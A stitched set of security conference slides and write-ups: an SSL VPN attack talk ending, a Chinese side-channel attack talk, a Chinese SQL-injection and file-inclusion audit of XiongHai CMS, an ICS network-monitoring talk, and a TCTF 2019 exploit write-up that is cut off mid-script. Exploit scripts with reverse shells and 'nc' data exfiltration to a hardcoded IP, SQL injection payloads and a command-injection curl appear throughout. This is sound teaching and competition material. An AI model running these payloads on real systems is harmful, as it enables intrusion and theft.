clients • Leverage the logon script feature! • Execute specified program once the VPN client connected • Almost every SSL VPN supports this feature • Support Windows, Linux and Mac Demo Compromise all connected VPN clients Recommendations • Client certificate authentication • Multi factors authentication • Enable full log audit (Be sure to send to out-bound server) • Subscribe to the vendor's security advisory and keep system updated! Thanks! @orange_8361 [email protected] @mehqq_ [email protected]
pdf
边信道攻击实战 Kevin2600 . Kevin2600 . 专注无线电; 嵌入式设备安全研究 . NewSky 安全研究员 + 安全培训讲师 . 坚信黑客精神就是不断探索未知领域 边信道的传说? 边信道的传说? . Side-Channel 必须掌握很深的数学知识? . Side-Channel 必须使用昂贵的硬件设备? . Side-Channel 都有哪些实战中的运用? . Side-Channel 作为小白该如何开始? Contents: • 边信道的那点事 • 边信道案例 – EM Leaking • 边信道案例 – Timing Attack • 边信道案例 – Fault Injection Attack • 边信道案例 – Power Analysis & Glitch Attack 边信道的那点事 二战期间盟军的一名研究人员发现他的示波器经常有莫名 的噪音. 调查发现信号来源于隔壁房间的某台加密机. 在深 入研究后, 这名研究员成功地将被加密前的明文信息从噪 音中提取出来. 故事起源: WHAT ? 边信道攻击是一种针对软件或硬件设计缺陷, 剑走偏锋的攻击方式 攻击途径通常采用被动式监听, 或通过特殊渠道发送隐蔽数据信号 攻击点不在暴力破解或算法分析, 而是通过功耗; 时序; 电磁泄漏等方 式达到破解目的. 在很多物理隔绝的环境中, 往往也能出奇制胜 WHY ? . Public key signature check . Bootloader 加固 (bootdelay = 0) . 屏蔽调试端口 UART; JTAG; SPI; I2C . 电子设备全部物理隔离 (Air Gapping) HOW ? . 简单功耗分析 (Simple power analysis) . 差分功耗分析 (Differential power analysis) . 需要通过明文或密文触发加密机制运行 . 需要知道用何种加密方式 (AES128; RSA; 3DES) . 功耗数据提取必须在目标加解密的过程中 : 声波信号采集还原打印机原文 : 美国 NSA 电磁波监听 (TEMPEST) : 功耗分析破解南韩公交卡密钥系统 (3DES) : 功耗分析获取 Philipe Hue 智能灯系统密钥 (AES) : 通过测量分析电磁发射获取 GnuPG 密钥信息 (RSA) : 通过声波远程获取物理隔离网络中的数据 (Funtenna) 被动式: : Xbox360 Glitch 攻击 (运行 unsigned code) : 智能网关 Hue NAND Glitch (得到 Root 权限) : 腾讯玄武激光发指令到二维码读取器 (Bad Barcode) : 浙江 & Michigan 大学通过声波干扰视频监控硬盘存储 : 以色列 Ben-Gurion 大学通过 USB 发送电磁信号 (USBee) : Osmo-fl2k 软件无线电发送 FM; GSM; UMTS 与 GPS 信号 主动式: 边信道案例 – EM leaking 电磁波 101 • 电磁波是电磁场的运动形态, 属于能量的一种 • 自身温度大于绝对零度物体, 都可以发射电磁波 • 电磁波应用广泛微波炉; 移动通信; 无线卫星通信 • 电子设备产生电磁波, 对无线电设备造成信号干扰 视频演示 电磁泄漏隐患 . 电子设备利用电磁波信号, 发射信息内容从而 泄漏机密 (Soft-Tempest) . 电子设备电磁信号可被解码并还原, 达到远程 监控目的 (Hard-Tempest) . 美国NSA 和北约组织制定安全标准, 要求对涉 密设备进行电磁屏蔽, 并严格限制泄漏电磁辐 射的强度 视频演示 电磁信号分析 . Tel Aviv 大学科研人员通过测量分析电磁发 射获取 GnuPG 密钥信息 . 电磁波可通过H探头和便宜的软件无线电 设备远程获取 . 芯片解密过程中执行的计算量不同, 所需电 量也不同 . 芯片01转换产生电磁波从空气中泄漏, 其 中包含密钥指纹信息 电磁注入 . EMP-Jammer 高能电磁场发射器 (危险!!!) . 瞬间大量电流通过导体将产生高能电磁场 . 电磁注入将造成电子设备故障或意外惊喜 ;) . 将设备放入塑料袋或铝箔包裹可防止电磁攻击 视频演示 边信道案例 – Timing Attack 密码比对 时序攻击 . 仅需普通示波仪即可完成攻击 . 密码位输错给予相对反应 (LED 灯亮) . 不安全的函数 memcmp() (单字节比对) . 密码位比对的时间越久, 猜中可能性越大 . 降低猜测空间 (6*6*6*6*6*6 = 46656 ) --> (6+6+6+6+6+6 = 36) 时序攻击 视频演示 边信道案例 – Fault Injection Got Root? 网关 (WinkHub) . 物联网设备网关 WinkHub (ARM; RAM; NAND) . 完美的将不同产品连接在一起 (GE; Nest; Dropcam; Philips) . 支持 Zwave (915Mhz); RF (433Mhz); WIFI/Bluetooth/Zigbee (2.4G) 已被厂家打了补丁 :( 通过网页对其进行访问 (set_dev_value.php) curl “192.168.01/set_dev_value.php” -d “nodeId=a&attrId=; uname -a;” Got Root ? . NAND Flash 通常存储固件; Bootloader; 内 核以及root files . 使用数据线在系统启动, 读取 NAND 内核 信息瞬间, 短接 I/O pin 以达到数据阻断目的 . 在正确的时间点, 阻止 Bootloader 读取正 确的内核数据从而进入 shell 模式 NAND-Glitch Got Root ! 视频演示 网关 (Philips Hue) . 飞利浦 Hue 系列智能家居灯控解决方案 . 采用 Zigbee 作为 Hue 与灯泡的无线通讯协议 . 案例 1: Hue 网关可通过 NAND Glitch 方式 Rooting . 案例 2: 通过功耗分析提取硬编码 AES 密钥, 绕过固件升级认证 Got Root ! . setenv bootdelay 3 . setenv security '$1$3vGNd7Q3$ISqFeo1VkmQV6nyriUV0V/' . saveenv & reset . HUE 默认 bootdelay 为 0, 且 root 哈希值都不同 . 在 U-Boot 启动读取内核信息瞬间短接 NAND SPI 视频演示 边信道案例 – Power Analysis & Glitch Attack SPA - 简单功耗分析 . 1998年 Paul Kocher 等将功耗分析带入民众视野 . 处理器运行不同指令在功耗需求上也不近相同 . 寻找目标设备在特定时刻 (解密) 功耗图形的差异 . 安全 Bootloader-TinySafeBoot (密码错误 -->无限循环) . RSA 进行平方和乘法运算时的功耗表现可被识别 DPA - 差分功耗分析 目标设备 测量方法 测量结果 DPA - 差分功耗分析 DPA - 差分功耗分析 DPA - 差分功耗分析 DPA - 差分功耗分析 AES-128 DPA - 差分功耗分析 Glitch - 毛刺注入 . Glitch 注入目的在于改变目标设备的设计初衷 . 通过打乱程序的正常流程, 绕过密码安全认证机制 . 使用EM; 激光; 热能; 噪音; 时钟; 电压等作为注⼊源 . 精确的Glitch注入时间点至关重要 (手动; SAD; 模式) . Glitch 结果具有不可预测性, 错误可能导致设备 Reset 源代码 Linux-util-2.24 CTF 送分题 RHME 2016 视频演示 ChipWhisperer-Lite . 由 Colin O'Flynn 设计制作, 学习 SCA 功耗分析 和毛刺注入神器 . 基于Python 跨平台开源软硬件项目 (Windows; Linux; MacOS) . 可用于时序或电压毛刺注入攻击测试, 产生 <2nS 的脉冲信号 . 通过 DPA 差分功耗分析破解诸如 RSA; AES; 3DES 等加密算法 总结: • Kein System ist Sicher: 100% 安全的系统并不存在 • 剑走偏锋的边信道攻击威力无比, 硬件安全必备技能 • 无论多完美的加密算法, 实施过程中的百密⼀疏, 就会 导致系统安全完全崩溃 @Kevin2600 问题 ?
pdf
代码审计 代码审计(一 一) 熊海 熊海cms V1.0 最近在学习代码审计,试着将这些东西记录下来,也是当做一种总结吧。今天我进行这款cms的代码审计叫熊海cms V1.0,它是一款小型的网站内容管 理系统,非常适合个人建站使用。因为年代久远了,所以这款cms漏洞还是比较多的,审计起来难度不难,非常适合我这种小菜鸡入门学习的。话不多 说,我们先来看看它的源代码目录分布吧。 admin//管理员后台 css//css样式 files//功能函数 images//图片文件 inc//配置信息 install//安装目录文件 seacmseditor//seacms编辑器 template//模板文件 upload//文件上传 index.php//网站入口 phpinfo.php//显示PHP的当前信息 使用说明.txt//使用说明 现在我们就大概清楚了它的目录信息,对它的目录结构有了大体掌握,现在我们就开始进行代码审计吧。这个cms靶场漏洞网上能找出一堆writeup, 所以我打算讲解一些不一样的东西。重分析,轻演示。这里我主要介绍代码审计思路,不会对每处漏洞都一一讲解,有兴趣的小伙伴就可以下载下来 细细审计。 代码审计常见方法 代码审计常见方法 1、通读全文代码 2、定向功能审计 3、敏感函数回溯 1、通读全文代码 、通读全文代码 首先我们打开熊海cms中的index.php文件: <?php //单一入口模式 error_reporting(0); //关闭错误显示 $file=addslashes($_GET['r']); //接收文件名 $action=$file==''?'index':$file; //判断为空或者等于index include('files/'.$action.'.php'); //载入相应文件 ?> 在这里我们可以得知,它是先接收一个r参数然后用addslashes函数进行过滤,然后再跳转到r.php文件,变成files/$file.php。如果为空的话,则包含 files/index.php。这样的话,我们在这里就很清楚的知道,这里就是一个很经典的包含漏洞,r参数只是经过了addslashes函数进行过滤(几乎相当于没 过滤)后被incluede包含。同时因为在当前目录下有就存在phpinfo文件,我们可以直接在url输入?r=../phpinfo,可以发现程序产生了文件包含漏洞。 http://127.0.0.1:9999/?r=../phpinfo 然后我们根据它的正确思路,接着我们应该是跳转到file目录下的index.php文件。 <?php require 'inc/301.php'; require 'inc/conn.php'; require 'inc/time.class.php'; $query = "SELECT * FROM settings"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $info = mysql_fetch_array($resul); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title><?php echo $info['title']?></title> <meta name="keywords" content="<?php echo $info['keywords']?>" /> <meta name="description" content="<?php echo $info['description']?>" /> <meta name="version" content="seacms V1.0.0310" /> <?php require 'template/header.php';?> <div class="barn"> <div id="body"> <div id="imgtext"> <strong>Oh,Perfect</strong> <span>个人免费开源程序倡导者</span> </div> <img src="images/banner.jpg"> </div></div> <div id="body"> <div class="div1"> <div class="toutiaoimg"> <?php $query = "SELECT * FROM content WHERE images<>'' AND xs=1 ORDER BY id DESC LIMIT 1"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $toutiaoimg = mysql_fetch_array($resul); ?> <a href="?r=content&cid=<?php echo $toutiaoimg['id']?>" title="<?php echo $toutiaoimg['title']?>"><img src="<?php echo $toutiaoimg['image </div> <div class="toutiao"> <?php $query = "SELECT * FROM content WHERE toutiao=1 AND xs=1 ORDER BY id DESC LIMIT 5"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $toutiao = mysql_fetch_array($resul); ?> 在这里我们可以看到它是夹带着inc/301.php、inc/conn.php、inc/time.class.php这三处文件,我看了一下没有什么敏感操作,忽略不看。其次我们发 现这前面一大段也是div标签也快速跳过,之后我们可以明显看见一个关键点 href="?r=content&cid=<?php echo $toutiaoimg['id']?>" ​ 进行它进行了a标签的跳转,利用index.php的参数r=content,说明这里也是夹带着content.php文件,这时候我们再来跳转分析。 <?php require 'inc/conn.php'; require 'inc/time.class.php'; $query = "SELECT * FROM settings"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $info = mysql_fetch_array($resul); $id=addslashes($_GET['cid']); $query = "SELECT * FROM content WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $content = mysql_fetch_array($resul); $navid=$content['navclass']; $query = "SELECT * FROM navclass WHERE id='$navid'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $navs = mysql_fetch_array($resul); //浏览计数 $query = "UPDATE content SET hit = hit+1 WHERE id=$id"; @mysql_query($query) or die('修改错误:'.mysql_error()); ?> <?php $query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1)"); $pinglunzs = mysql_num_rows($query) ?> 再这里我们可以看到,它get方式获取的cid参数使用了addslashes方法简单地过滤赋值给id变量,然后再代入sql语句操作。这就可以存在注入的可能性 了,因为你只是用addslashes简单过滤一下,会不会存在绕过的可能性呢。 $query = "SELECT * FROM content WHERE id='$id'"; $query = "UPDATE content SET hit = hit+1 WHERE id=$id"; 这里我们可以找出两处$id代入sql语句中查询,很明显我们可以看到,下面没有将双引号包裹update语句可以更好地注入,不用考虑引号闭合的问题。 这里我们可以使用经典的updatexml报错语句进行测试。 http://www.xy.com:9999/?r=content&cid=1 and updatexml(1,concat(0x7e,(select @@version),0x7e),1) 这里只是简单测试,后面注入过程你们一一尝试。 之后我们继续往下审计,发现下面 <div id="plbt"><strong>→ 和谐网络,文明发言!</strong>发表评论:</div> <form name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>"> <input name="cid" type="hidden" value="<?php echo $id?>"/> <ul> <li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li> <li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li> <li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li> <textarea name="content" cols="" rows=""></textarea> <input name="save" type="submit" value="提交" id="input2"/> <div id="code"><span>验证码</span><input name="randcode" type="text" /> <span id="yspan"><img src="../inc/code.class.php" onClick="this.src=th </div> <div id="xx"> <span><input name="jz" type="checkbox" value="1" checked="checked"/> 记住我的个人信息</span> <span><input name="tz" type="checkbox" value="1" checked="checked"/> 回复后邮件通知我</span> </div> 在此处我们看见表单请求跳转提交到了submit.php当中,我们接着它进行分析。 查询用户头像数据 $query = "SELECT * FROM interaction WHERE( mail = '$mail')"; $result = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $tx = mysql_fetch_array($result); if (!mysql_num_rows($result)){ $touxiang = mt_rand(1,100); }else{ $touxiang = $tx['touxiang']; } 这处我们依旧可以看到,这里的main参数也是没有进行过滤,直接代入到sql查询语句,存在注入点。这里就不演示重复了。 这里我们使用了通读全文代码的方法,从index.php作为入口,一步步代码审计追溯跳转,在其后的file目录下index.php->content.php->submit.php, 跟进它调用的函数和文件,一步步理清它的整体框架思路。下面我们来看看第二种代码审计的方法。 2、定向功能审计 、定向功能审计 这里我们就以admin管理员目录作为栗子。 首先我们先来到了login.php(登陆模块),一般的话我们后台管理员登陆模块,常见注入都是sql注入、xss、越权访问等。我们就是针对这些功能模块, 定向地查找它功能常见可能出现的漏洞。 在admin目录index.php中,我们发现它包含着/inc/checklogin.php配置文件。 <?php $user=$_COOKIE['user']; if ($user==""){ header("Location: ?r=login"); exit; } ?> 这是检测管理员登陆模块的inc配置,对cookie的user参数进行判断,若admin参数为空,则跳转到login.php页面。这样的话,我们就很好继续利用 了,我们随便在一个admin管理员权限的页面wzlist.php,burpsuite抓包在cookie中添加user参数即可,从而进行越权漏洞的访问。 之后我再真正返回login.php页面,看不看会不会也存在后台登陆常见出现的sql注入的漏洞呢。 <?php ob_start(); require '../inc/conn.php'; $login=$_POST['login']; $user=$_POST['user']; $password=$_POST['password']; $checkbox=$_POST['checkbox']; if ($login<>""){ $query = "SELECT * FROM manage WHERE user='$user'"; $result = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $users = mysql_fetch_array($result); if (!mysql_num_rows($result)) { echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit; }else{ $passwords=$users['password']; if(md5($password)<>$passwords){ echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit; } //写入登录信息并记住30天 if ($checkbox==1){ setcookie('user',$user,time()+3600*24*30,'/'); }else{ setcookie('user',$user,0,'/'); } echo "<script>this.location='?r=index'</script>"; exit; } exit; ob_end_flush(); } ?> 分析得知,此处是先用post方式提交接收我们传递的参数,提交的user参数没有进行任何过滤带入sql语句进行查询,同时用户名存在才继续对password 继续进行检测。这里我们很明显存在了post的sql注入,但我们常说的万能密码在这里却是无效的。 if(md5($password)<>$passwords) 原因就出现在这个语句当中,它先对我们的传递的password参数进行MD5散列值计算,然后将这串MD5散列值放入到后台数据库进行检验核对,所以我 们常用的万能密码是无效的。不过我们却可以通过报错注入来进行检测测试。 1' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) # 在这里,我们对admin登陆功能模块进行特定功能点尝试,后台登陆功能常常出现的sql注入和越权访问都一一检测成功。 3、敏感函数回溯 、敏感函数回溯 根据敏感函数来追踪函数使用传递的过程,逐一溯源进行分析。这也是很多人喜欢使用的一种方法,因为我们很多常规漏洞都是因为使用敏感函数不 当所造成的的。 因为在前面我们审计过程中,发现很多漏洞都是addslashes函数使用不当过滤不充分所造成的,这里我就直接使用全局搜索来查找addslashes函数出 现的位置,然后对其逐一分析。 $page=addslashes($_GET['page']); if ($page<>""){ if ($page<>1){ $pages="第".$page."页 - "; } } ?> 这里我们找到了一处在路径\files\contact.php中,点击查看之后分析,这里的$page参数只是仅仅进行了特殊字符转义,然后直接代入以下的html代码 里。此处我们可以构造xss代码来进行反射型xss。 这篇文章主要是以熊海cms为例,使用三种常见代码审计方法,让大家了解代码审计的思路分析,选择适合自己的代码审计方法。第一次写这种文章, 写的不好请多多谅解~~~
pdf
NSM 101 for ICS About me Chris Sistrunk, PE Electrical Engineer Sr. ICS Security Consultant – Control system security assessments – ICS Village (DEF CON & RSA Conference) Entergy (11+ years) – SCADA Engineer (10 years) – Project Robus (ICS Protocol Fuzzing) • 30+ implementation vulnerabilities in DNP3 stacks – Substation Security Team BSidesJackson What happens when you use nmap or a fuzzer on an ICS? If ICS are so vulnerable, why haven’t we seen more attacks? We aren’t looking! Two Key Reasons Intent Visibility Intent Very little ICS targeted attack data Maroochy Shire to Stuxnet to German Steel Plant Why are targeted attacks different? It’s a “Who” not a “What” Professional, organized, well-funded If you kick them out, they will return Visibility Visibility Public ICS Vulnerabilities Per Year If your ICS gets hacked… gadgets water electricity you can’t make anymore Now what? More Gov’t security regulations ICS security still lagging Breaches are inevitable Attacks aren’t stopping Every sector Including ICS What can we do to get ahead of this??? Network Security Monitoring “The collection, analysis, and escalation of indications and warnings to detect and respond to intrusions. NSM is a way to find intruders on your network and do something about them before they damage your enterprise.” - The Practice of Network Security Monitoring Network Security Monitoring Invented in 1990, still in use today Cliff Stoll “Stalking the Wily Hacker” 1988 Todd Herberlein et al. “A Network Security Monitor” 1990 US Air Force Defense Information Systems Agency Lawrence Livermore National Lab Early 1990s NetRanger RealSecure Snort and many others Late 1990s - early 2000s Formal definition of NSM 2002 Before we start looking… We need At least one person (to watch and hunt) The right tools to collect and analyze the data The NSM Cycle Collection Detection Analysis Model for action, based on network-derived data Requires people and process, not just technology Focuses on the adversary, not the vulnerability Methods of Monitoring Network tap – physical device which relays a copy of packets to an NSM sensor SPAN or mirrored ports – switch configuration which sends copies of packets to a separate port where NSM sensor can connect Host NIC – configured to watch all network traffic flowing on its segment (usually on NSM sensor) Serial port tap – physical device which relays serial traffic to another port, usually requires additional software to interpret data Fluke Networks Stratus Engineering Types of Data Collected Full content data – unfiltered collection of packets Extracted content – data streams, files, Web pages, etc. Session data – conversation between nodes Transaction data – requests and replies between nodes Statistical data – description of traffic, such as protocol and volume Metadata – aspects of data, e.g. who owns this IP address Alert/log data – triggers from IDS tools, tracking user logins, etc. Difficulties for NSM Encrypted networks Widespread NAT Devices moving between network segments Extreme traffic volume Privacy concerns Issues that most ICS do not face! Example ICS Enterprise/IT DMZ Plant Control Web Historian or other DB DCS Historian HMI PLCs, Controllers, RTUs, PACs Anatomy of an Attack 20 Over all Mandiant attack investigations, only a little more than half of victim computers have malware on them. While attackers often use malware to gain an initial foothold, they quickly move to other tactics to execute their attacks. Unauthorized Use of Valid Accounts Known & Unknown Malware Command & Control Activity Suspicious Network Traffic Files Accessed by Attackers Valid Programs Used for Evil Purposes Trace Evidence & Partial Files Attacker Objectives Attacker’s goals: Damage equipment Affect or steal process info Cause safety or compliance issue Pivot from vulnerable ICS to enterprise Attacker’s options: Gain physical access to an ICS host Gain remote access to an ICS host Compromise a highly-privileged client machine with access to the ICS network Enterprise/IT Plant DMZ Control Web Historian or other DB SCADA Historian HMI PLCs, Controllers, RTUs, PACs Let’s do some NSM! Let’s do some NSM! Inquisitive mind NSM collection tools NSM hunting tools Protection NSM Collection Firewall Logs Session Data NIDS/HIDS Logs Full packet capture Windows Logs and syslog SNMP (CPU % etc.) Alerts from security agents (AV, whitelisting, etc.) Enterprise/IT Enterprise technology collectors Logs and/or Agent Network sensors Logs only Plant DMZ Control Web Historian or other DB SCADA Historian HMI PLCs, Controllers, RTUs, PACs NSM Collection http://3.bp.blogspot.com/-B6PtheVJ9Jg/Uj4EErYhHdI/AAAAAAAAAFE/i_2dk9emrp4/s1600/Deer+tracks.jpg What are we looking for? Exceptions from baseline (e.g. A talks to B but never C) “Top Talkers” Unexpected connectivity (to Internet, Business network) Known malicious IPs and domains Logins using default accounts Error messages that could correlate to vulnerabilities Unusual system and firewall log entries Host-based IDS or other security system alerts Unexpected file and firmware updates Antivirus alerts And others…. NSM Detection & “Hunting” Analyst looks at detected anomalies or alerts then escalates to IR ! IDS alerts Anomaly detection Firmware updates, other commands Login with default credentials High CPU or network bandwidth Door alarms when nobody is supposed to be working Devices going off-line or behaving strangely Plant DMZ Control Web Historian or other DB SCADA Historian HMI PLCs, Controllers, RTUs, PACs NSM Detection http://www.buckmasters.com http://www.jimyuskavitchphotography.com/data/photos/56_1wolf_track4.jpg NSM Analysis Incident responders analyze the detected anomalies to find evil Application exploitation Third-party connections (ex. ICCP or vendor access) ICS-specific communication protocol attacks (ex. Modbus, DNP3, Profinet, EtherNet/IP) Remote access exploitation Direct network access due to poor physical security USB-delivered malware Plant DMZ Control Web Historian or other DB SCADA Historian HMI PLCs, Controllers, RTUs, PACs NSM Analysis http://alistairpott.com/wp-content/uploads/2008/05/rabbit-owl.jpg http://www.youtube.com ICS NSM Examples Session Data “Top Talkers” FlowBAT characterizes Session Data, showing which nodes have the most traffic Web traffic Web traffic NetBios NTP SiLK and FlowBAT can be easily installed in Security Onion Pcap Analysis for anomalies NetworkMiner can find potential ARP spoofing (as well as many other indicators) Pcaps - Abnormal DNS Traffic NetworkMiner sees“strange” DNS requests originating from within the ICS IDS alerts - Abnormal DNS Traffic DNS requests shown in the Bro IDS log in ELSA Pcaps - Malformed Modbus Deep packet inspection of Modbus by Wireshark IDS Logs Bro IDS – DNP3 & Modbus – More ICS protocols being developed by UIUC Snort IDS – DNP3 & Modbus preprocessors – ET SCADA & DigitalBond Quickdraw Snort rules Suricata IDS – New DNP3 parser & ET SCADA rules IDS Logs Modbus DNP3 Bro IDS parses Modbus and DNP3 packets, ELSA consolidates Bro logs IDS GUIs Alerts in Sguil of scanning activity Syslog Syslog can be configured to send to a NSM sensor or detected in network traffic if sent elsewhere. This is the Bro IDS Log for Syslog from an RTU. RTUs with Syslog • SEL-3530 RTAC • GE D20MX • Novatech OrionLX • Cooper SMP 16 If not…require syslog and other logs in the ICS procurement language NSM Tools for the 7 Data Types Security Onion Linux distribution – Easy to install and lots of documentation Full packet capture – Tcpdump/Wireshark/NetworkMiner Extracted content – Xplico/NetworkMiner Session data – Bro/FlowBAT Transaction data – Bro Statistical data – Capinfos/Wireshark Metadata – ELSA (Whois) Alert data – Snort, Suricata, Sguil, Snorby Peel Back the Layers of Your Network Security Onion Tools NetFlow Tools SiLK & FlowBAT Install on Security Onion with 2 scripts www.flowbat.com Security Onion Implementation Test in a lab first Select suitable hardware platform More RAM is better Bigger hard drive is better (longer retention) Mirrored/SPAN port on router/switch or a good network tap Select proper placement of SO sensor The Practice of Network Security Monitoring Applied Network Security Monitoring Work with the right stakeholders if placing in production SO for ICS = Security Ogre The Cuckoo’s Egg by Cliff Stoll https://www.youtube.com/watch?v=EcKxaq1FTac 1-hour NOVA Special (1990) The Practice of Network Security Monitoring by Richard Bejtlich http://www.nostarch.com/nsm Applied Network Security Monitoring by Chris Sanders & Jason Smith http://www.appliednsm.com/ The NSM Wiki http://nsmwiki.org http://securityonion.net NSM References/Resources Takeaways You can implement NSM in ICS today – without impacting your operations There are free tools available to help you start looking at your ICS and hunting for evil People… …the most important part of NSM! Gigabytes of data and 1000s of IDS alerts are useless without interpretation Analyze data collected to understand what’s normal – and what’s not Identify adversary TTPs and act to disrupt them Remember Adversaries are a “Who”, not a “What” Find Evil [email protected] @chrissistrunk
pdf
TCTF 2019 TCTF 2019 PWN vim zerotask plang Reverse Elements Fixed Point sanitize Web Ghost Pepper Wallbreaker Easy Crypto babyrsa MISC flropyd Neuron Break http://ctf.0ops.sjtu.cn/ 23 March 2019, 06:00 UTC — 25 March 2019, 06:00 UTC Nu1L PWN vim a stepperm_state_Tbuffer freegotbufferfreegot system from pwn import * from hashlib import sha256 import string import sys system = 0x004C9163 free_got = 0x8a8238 # cmd = "bash -c 'bash&>/dev/tcp/111.230.94.113/6666<&1';" # # cmd = 'cat /flag | nc 111.230.94.113 88;'.ljust(0x4f) + p64(system) # cmd = "echo 1 | nc 111.230.94.113 88\x00".ljust(0x2f) + p64(system) # cmd += p64(0x4036b0) + p64(0x4036c0) + p64(0x4036d0) + p64(0x4036e0) + p64(0x4036f0) + "\x00" # cmd = cmd.ljust(0x82-0x20) # cmd = cmd[::-1] # context.endian = 'big' # ss = 'VimCrypt~04!\xff\xff\xff\x9e0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM NOP' # ss = ss.replace('lmnopqrs',p64(free_got-0x30)) # ss = ss.replace('tu','\x73u') # for i in cmd: # ss += i # for i in range(0x26,0x30): # ss += chr(i) # ss = ss.ljust(0x300) # for i in range(0,0x21): # ss += chr(i) # for i in cmd: # ss += i # for i in range(0x83,0xff): # ss += chr(i) # ss = ss.replace('\xb6',' ') # ss += '.' # ss = ss.replace('d8d9dadbdcdddedf'.decode('hex'),p64(free_got-0x30)) # second cmd = "bash -c 'bash&>/dev/tcp/111.230.94.113/66<&1';" # cmd = ';cat /f* | nc 111.230.94.113 88\x00' + p32(system)*2 # cmd = cmd.ljust(0x26+10,"\x00")[::-1] free_got = 0x8a8238 system = 0x004C9163 context.endian = 'big' ss = 'VimCrypt~04!\xff\xff\xff\x9e0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM NOP' ss = ss.replace('lmnopqrs',p64(free_got-0x30)) ss = ss.replace('tu','\x7cu') # for i in cmd: # ss += i for i in range(0+6,0x12): ss += chr(i) cmd = cmd.ljust(0x41-0x12,'A') print 'exec cmd,',cmd cmd = cmd[::-1] for i in cmd: ss += i ss = ss.ljust(0x8f,' ') print hex(len(ss)) ss = ss.replace('\n\x0b\x0c\r\x0e\x0f\x10\x11',p64(system)) eee = ss open('test','wb').write(ss) # sys.exit(0) # 111.186.63.13:10001 sset = string.ascii_letters+string.digits print sset def get_solution(chal, ss): print repr(ss) print repr(chal) for i in sset: for j in sset: for k in sset: for l in sset: sol = i + j + k + l zerotask nc 111.186.63.201 10001 http://111.186.63.17/zerotask.zip crypt Go2sleep CIPHER_CTX CIPHER_CTXUAF if sha256(sol + chal).hexdigest() == ss: return sol sys.exit(0) context.log_level = 'DEBUG' p = remote('111.186.63.13',10001) p.recvuntil('XXXX+') chal = p.recvuntil(")")[:-1] print repr(chal) p.recvuntil("== ") ss = p.recvuntil('G')[:-1].strip() print repr(ss) so = get_solution(chal, ss) p.sendlineafter('XXXX:',str(so)) p.sendlineafter('OK',str(len(eee))) print 'executing cmd',cmd[::-1] time.sleep(1) p.send(eee) 00000000 crypt_obj struc ; (sizeof=0x70, mappedto_6) 00000000 data_ptr dq ? 00000008 data_size dq ? 00000010 operate_type dd ? 00000014 key db 32 dup(?) ; string(C) 00000034 IV db 16 dup(?) ; string(C) 00000044 field_44 dq ? 0000004C field_4C dq ? 00000054 field_54 dd ? 00000058 EVP_CIPHER_CTX dq ? 00000060 task_id dd ? 00000064 field_64 dd ? 00000068 next dq ? 00000070 crypt_obj ends openssl,EVP_EncryptUpdateuafctx one_gadgetleak from pwn import * from Crypto.Cipher import AES # p = process('./task1',env={'LD_PRELOAD':'./libcrypto.so.1.0.0'}) p = remote('111.186.63.201', 10001) context.log_level = 'debug' def launch_gdb(): context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(p)[0]) def add(task_id,en,num,data,key = 'a'*32,iv = 'a'*16): p.recvuntil('Choice') p.sendline('1') p.recvuntil('id') p.sendline(str(task_id)) p.recvuntil('(2)') p.sendline(str(en)) p.recvuntil('Key') p.send(key) p.recvuntil('IV') p.send(iv) p.recvuntil('Size') p.sendline(str(num)) p.recvuntil('Data') p.send(data) def delete(task_id): p.recvuntil('Choice') p.sendline('2') p.recvuntil('id') p.sendline(str(task_id)) def go(task_id): p.recvuntil('Choice') p.sendline('3') p.recvuntil('id') p.sendline(str(task_id)) def get_plain(key = 'a'*32,iv='a'*16): p.recvuntil('Ciphertext: \n') a = AES.new(key,AES.MODE_CBC,iv) sleep(2) data = p.recv(4096,timeout=5).replace(' ','').replace('\n','') data = data.decode('hex') l = len(data) plang real_len = (l/16) * 16 return a.decrypt(data[:real_len]) add(1,1,0x800,'a'*0x800) # go(1) ctx 0xb1 # print get_plain() go(1) delete(1) add(1,1,0x400,'') # launch_gdb() leak = get_plain() leak_libc = u64(leak[:8]) log.info('leak libc : ' + hex(leak_libc)) libc_base = leak_libc - 4112784 leak_heap = u64(leak[16:24]) log.info('leak heap : ' + hex(leak_heap)) heap_base = leak_heap - 5296 log.success('heap base ' + hex(heap_base)) log.success('libc base ' + hex(libc_base)) p.send('c'*0x400) add(2,1,0x300,'a'*0x300) go(1) go(2) delete(1) delete(2) chunk_addr = heap_base + 4864 add(3,1,0xa0,p64(chunk_addr) + p8(0x10)*24 + p64(libc_base + 0x10a38c) ) ''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' p.interactive() nc 111.186.63.210 6666 http://111.186.63.17/plang.zip pocsigned int doule tcache entrychunk fdfree_hook from pwn import * LOCAL = 0 context.log_level = 'debug' if LOCAL: p = process('./plang') else: p = remote('111.186.63.210',6666) payload1 = ''' var i = 1 class ss{ var str new(s){ str = s } toString{ return str }} var m = 